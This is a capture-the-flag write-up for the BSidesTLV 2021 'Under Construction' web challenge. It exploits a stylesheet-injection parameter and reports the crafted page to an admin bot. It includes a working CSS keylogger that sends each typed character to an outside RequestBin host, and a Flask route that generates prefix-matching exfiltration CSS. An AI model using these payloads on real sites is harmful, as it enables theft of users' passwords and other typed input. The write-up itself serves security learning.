Under Construction

Description

problem description

Solution

We get a site with the following pages:

login register report

The "Report a Bug" functionality sends some get request to http://under-construction.ctf.bsidestlv.com/api/troubleshoot?url=http://under-construction.ctf.bsidestlv.com/.

So we need to send somthing to hack the owner.

Dark mode is a link to http://under-construction.ctf.bsidestlv.com/?style=/dark.css.

In the source code we can see the following javascript code:

const url = new URL(location.href)
  , styleURL = new URL(url.searchParams.get("style") || "http://no-style.com");
if (styleURL.pathname.endsWith(".css")) {
    const e = document.getElementsByTagName("head")[0]
      , t = document.createElement("link");
    t.rel = "stylesheet",
    t.type = "text/css",
    t.href = styleURL,
    e.appendChild(t)
} else {
    console.error("you don't have style!")
}

We can control the css file!

As we can see in this article we can use CSS as keylogger.

We created a CSS file that for each printable character will check if there is an input that ends with it and if so it will load some "background". The background url is our RequestBin with the current character as parameter:

input[value$="a"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=a"); }
input[value$="b"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=b"); }
input[value$="c"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=c"); }
input[value$="d"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=d"); }
input[value$="e"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=e"); }
input[value$="f"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=f"); }
...
input[value$="_"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=_"); }
input[value$="`"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=`"); }
input[value$="{"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v={"); }
input[value$="|"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=|"); }
input[value$="}"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=}"); }
input[value$="~"] { background: url("https://enzwvlw9omkhh.x.pipedream.net?v=~"); }

We report the CSS file to the admin:

http://under-construction.ctf.bsidestlv.com/api/troubleshoot?url=http://under-construction.ctf.bsidestlv.com/?style=https://bsides2021underconstruction.jctf.repl.co/style_ends.css

And we get the flag:

requestbin

Because of the typing speed and the requests speed we might get some characters out of order but it's possible to figure out the correct order.

If the order can't be figured out, we can go for a slower but more reliable solution:

We upload the following code to our server:

@web_site.route('/style.css', defaults={'keys': ''})
@web_site.route('/<keys>/style.css')
def starts_with_css_keylogger(keys):
  template = 'input[value^="{}"] {{ background: url("https://enzwvlw9omkhh.x.pipedream.net?v={}"); }}\n'
  s = ""
  for x in string.ascii_letters + string.digits + string.punctuation:
    s += template.format(keys + x, keys + x)
  return Response(s, mimetype='text/css')

The difference is that the CSS now checks any input that starts with some string.

First we report https://bsides2021underconstruction.jctf.repl.co/style.css and wait for a hit with the first letter of the username (e.g. a). Once we get it, we report https://bsides2021underconstruction.jctf.repl.co/a/style.css and wait for the second letter (which in our case is d). We continue with https://bsides2021underconstruction.jctf.repl.co/ad/style.css to get the next letter (m) and so on.

Eventually we get the full flag: Flag: BSidesTLV2021{CSS_Keylogger_With_Style!}